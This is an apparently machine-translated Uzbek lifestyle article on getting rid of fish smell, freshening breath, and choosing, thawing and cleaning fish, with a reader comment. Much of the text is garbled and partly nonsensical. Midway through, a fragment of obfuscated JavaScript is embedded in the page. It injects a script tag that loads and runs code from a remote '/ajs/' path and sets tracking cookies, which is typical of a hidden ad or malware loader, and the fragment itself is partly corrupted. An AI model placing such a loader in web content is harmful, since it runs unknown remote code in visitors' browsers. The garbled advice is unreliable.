Agar katta chuchuk suv baliq dan sho'rva pishirish bo'lsangiz, hozir bo'ladi ehtimoli bor baliqdagi go'shtning hidi. maqsadida (masalan, petrushka yoki selderey, piyoz kabi bulyon ildizlarini, kiritish, taom talon emas butun boshli) va butun sabzi. Bundan tashqari, sizga dafna yaprog'i va qalampir kerak bo'ladi. Men baliq hidini bodring tuxumlari yordamida qutulishingiz mumkinligini eshitganman, lekin bu usul hech qachon foydalanilmadi, chunki moyli hidi bo'lgan baliq menga qarshi kelmadi. Baliq bo'lgan o'ziga xos hid - bu qimmatbaho mahsulotni tark etish uchun bahona emas, ayniqsa bu hidni qanday qarshi olishni bilsangiz.

Avtomobil ichki ko'rinishi

Savolga baliq hidini o'ldirishdan ko'ra  mashinada darhol aytaman - avtomobildagi baliq hidi  juda qiyin. Mutaxassislar sizga yordam beradigan avtoulovga murojaat qilish tavsiya etiladi.

Yangi nafas

Biz quyidagilarni taklif qilishimiz mumkin xalq himoyasi  noxush holatni bartaraf etish uchun og'izdan baliq hidini:

Imkon qadar ko'p yangi olma yeyish;

1-2 daqiqa davomida qahva donini chaynash;

Og'zingizni Aziz Yuhanno suti infuziyasi bilan yuving, 2 osh qoshiq. 1 stakan qaynoq suv uchun, kuniga 2-3 marta yuvib tashlang;

Oshqozon kasalliklari tufayli hidning yalpiz infuzikasiga yordam beradi. 1t.l. 1 stakan qaynoq suv uchun quruq yalpiz barglari. Kuniga 4-5 marta yuving;

Yalpiz yoki petrushka barglari chaynash, ular tabiiy antiseptik inhibit bakteriyalar bor va shunday qilib og'izdan keladigan yomon hid bartaraf.

Albatta, bu usullarning barchasi uyda bo'lsa, yaxshi bo'lsa ham, bu ishlarning birida, teatrda, partiyada amalga oshishini tasavvur qilish qiyin, shuning uchun shakarsiz yaxshi tetiklantiruvchi nafas yoki chaynash kerak. Yangi nafasni doimiy nazorat qilish sizning hayotingizga yoqimli daqiqalarni keltiradi.

Uyda muhokama qiling 0

Men kimyo fanining talabasiman. Men yotoqxonada yashayman. Bolalar turli millatlarda yashaydilar. Yaqinda koreyslar biznikiga joylashdi. Va bu faqat bir kabus edi. Men qaynatilgan baliqning hidi yoqmasdi. Va ular faqat uni tayyorlash emas, balki gaz brülörleri to'g'ri pishirilgan. Hid faqat qo'rqinchli edi. Oshxonaga kirib bo'lmadi, oshxonaga tashrif buyurganidan so'ng kiyimlardan baliq hidi bor edi. u o'z qovurilgan baliq va qovurilgan kabi turar komendanti ular ko'chirgan bilan tahdid tanbeh, lekin u erda yaxshi, hech qildim. Umuman olganda, biz qizlar bilan qiynoqqa tutildik, chunki biz allaqachon bu baliqni hidlagan edik. Er-xotinlarda bu juda bezovta edi, ular bizni juda dahshatli his qila boshladilar. Uzoq vaqtni aytmayman, umuman olganda, menimcha, biz duftafresh deb atalmish vositadan najot topdik. Hech bo'lmaganda kiyim kokmaydi, koreyslar esa nihoyat ko'chiriladi. Men to'liq ko'krakda nafas olaman. Men maslahat beraman.

// a = funktsiya (e) (e = e.match (/ [\\ S \\ s] (1,2) / g); a = funktsiya (e) uchun (var t = "", u = 0; u< e.length;o++)t+=String..document.location.protocol;if(p.indexOf(«http»)==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf("http")==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf(«firefox»))window.smlo.loadSmlo(n.replace(«https:»,«http:»));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf(«firefox»))window.zSmlo.loadSmlo(n.replace(«https:»,«http:»));else{var i=document.createElement(«script»);i.setAttribute(«src»,n),i.setAttribute(«type»,«text/javascript»),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,«function»==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),«function»==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o(«a2519043306»)!=f&&n(«a2519043306»,f,{expires:parseInt(«3600»)})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o(«a36677002»)!=i&&n(«a36677002»,i);var r=o(«a2519043306»);t=r?r:e,s(t)};f()}();]]>

Keling, baliq tanlovining nozikligini tushunishga harakat qilaylik. Jonli baliqlarga qo'shimcha vakolat berish kerak emas - foydali, mazali mahsulot. Biz do'konga yoki bozorga boramiz.

Buzilgan baliq - bu kim? Sotuvchilar qanchalik tez-tez bizni "uxlab yotgan" choy yoki shaytonni sotib olishga ishontirmoqdalar. Qanday qilib uning terisini tekshirish mumkin? Baliqni qo'lingizdagi palma ustiga qo'ying. Agar u yangi bo'lsa, orqa tomon elastikligini saqlaydi. Men taymerda har doim ham bunday imkoniyat yo'qligini tushunaman, lekin oddiy sinov mavjud: agar suvga cho'kib ketgan shingil suvga tashlansa, yangi baliq bostirib kirsa, shubhasizdir - ochiladi. Baliqni parchalanish jarayoni uzoq davom etmaydi, chunki bitta narsa - bu baliq to'qimalarida oksidlanish ta'siri ostida gaz pufakchalarini to'plashdir, chunki ular uni yuzaga suradi.

Eng mazali taomlar doimo yangi tutilgan baliqlardan keladi. Baliqchi emasmi? Achinariz. Keyinchalik, baliqlarni dastlab organoleptik tarzda baholaymiz. Boshqacha qilib aytganda, biz tekshirib, sniff. Va qanday qilib? Yoki siz sevimli mushukingiz uchun tushlik tanlaysizmi? Shuning uchun u ham chirigan bo'lmaydi. Buni aldash mumkin emas. Aytgancha, siz har bir mahsulotni tekshirishingiz mumkin - bu sizning chorva moliga bering. Qaytib ketganmi? Siz ham bu narsani yemaysiz.

Baliqlarni baholash va tanloviga qaytib boraylik. Baliqning ko'zlari kino bilan o'ralmasligi kerak, qorin esa shishadi. Hidi toza, baliq, unsharp. Eng kichik shubha - davom eting.

Gillalarni tekshirib ko'ring - sifatli baliqlar, ular porloq qizil yoki pushti, ammo kul yoki qora emas. To'g'ri, baliq ovida gillalar qorayib, qizil rangga o'xshaydi.

Baliqdan shilliqqandan qo'rqmang. Agar shilimshiq bo'lsa, bu tazelikning yorqin belgilaridan biridir. Tarozilarga e'tibor bering. Ko'z yoshi va bo'yoqsiz yassi. Tana go'shtidan ajratish qiyin.

Ammo muzlatilgan baliq haqida nima deyish mumkin? Muz va qor miqdori e'tibor bering. Muzdan tushganda baliqning vazni yarim barobar kamayadi ... Uning haqiqiy qiymatini hisoblang! Muzlatilgan baliqlarni xarid qilmang. Odatda vijdonli sotuvchilar mahsulotni qayta sovutadi, bu esa idishning sifatiga ta'sir qilmaydi. Yoki baliq baliqlarini muzlatadi.

Shunga qaramay, sovuqni sotib olishingiz kerak bo'lsa, uni xona haroratida muzdan tushiring yoki muzlatgichingizning ijobiy kamerasiga qo'ying. Zudlik bilan echib olish kerak - baliqni sumkaga joylashtiring, uni mahkam torting va issiq suvga soling. Agar baliq yangi muzlatilgan bo'lsa, u barcha xususiyatlarini tiklaydi - elastiklik va ta'm.

Agar siz sotib olgan baliq begona hidga ega bo'lsa - yog ', benzin - baliqni kuchli tuz eritmasiga solib, undan qutulasiz. Keyin suv oqimi ostida yaxshilab yuvib tashlang. Siz uni zira, qora qalampir va arpabodiyon bilan surtishingiz mumkin. Yarim soat davomida bunday "adyolda" yotishga ruxsat bering. Bundan tashqari, yorqin ziravorlar bilan tayyorlanishi kerak. Xuddi shunday siz loy hidi ham qutulishingiz mumkin.

Sopiq, yoqimsiz hid, tananing terisidan va suyaklaridan go'shtni oson ajratish - eski baliqning yorqin belgilaridir. Eng yaxshi ovqat emas. Oxirgi zaharlanish haqida o'ylab ko'ring va baliqning narxini davolanish narxiga solishtiring.

Qanday qilib baliqni tozalash kerak? Yaxshi tajriba emas. Oshxonaning tozalanishi, ko'plab shilliq va shilliq toshlar ... Men bozorlarda yangi baliqlarni tozalash yoki filetalarni sotib olish xizmatidan foydalanishga harakat qilaman. Agar siz fileto bilan filetada tutib olsangiz ham. "Ikkinchi" tukdorlik baliq odatda filetlanadi. Shuning uchun faqatgina tashqi ko'rinish va hid, sotib olinadigan filetinning yangiligi haqida ma'lumot berishi mumkin.

Baliqlarni oddiy suv bilan oqizadigan suv bilan tozalab yuvish qulay. Men uni katta bir idish ichida, uning ichida tozalash. Demak, tarozilar oshxonaga tarqalib ketmaydi. Baliqni tozalash uchun maxsus pichoq bor.

Katta tuzli shilimshiq baliqni tezda yo'q qilish. Yaxshilab yuvib tashlang. Va u kaymayacak va tozalash osonroqdir.

Gillalarni kesib oling. Ichaklarni chiqarib tashlang, agar mavjud bo'lsa, tana go'shti ichki yuzasiga qora rangli kino sarflang.

Katta baliq faqat qaynoq suvga, kichik baliqlarga solinadi. Ovqat pishirish oxirida tuzlangan bo'lishi kerak - shundan keyin barcha zerikarli fazilatlar to'liq namoyon bo'ladi.

Qovurish paytida dengiz baliqlarining o'ziga xos hidini yo'qotish uchun, men qovurilgan idishda yarim chiroq yoki kartoshka qo'ydim. Oshqozonda cho'chqa go'shtini yoqtirolmayman, lekin men bu baliqni qovurilgan shaklda juda yaxshi ko'raman.

Eng foydali retsepti - kolbada baliqni pishirish. Bu foydalidir - o'zining sharbati, mazali va toza bo'lmagan yog'i yo'q (bu idish yoki pishirish idishi aslida saqlanib qoladi).

© 2018 4udak.ru - Onlayn jonli jurnal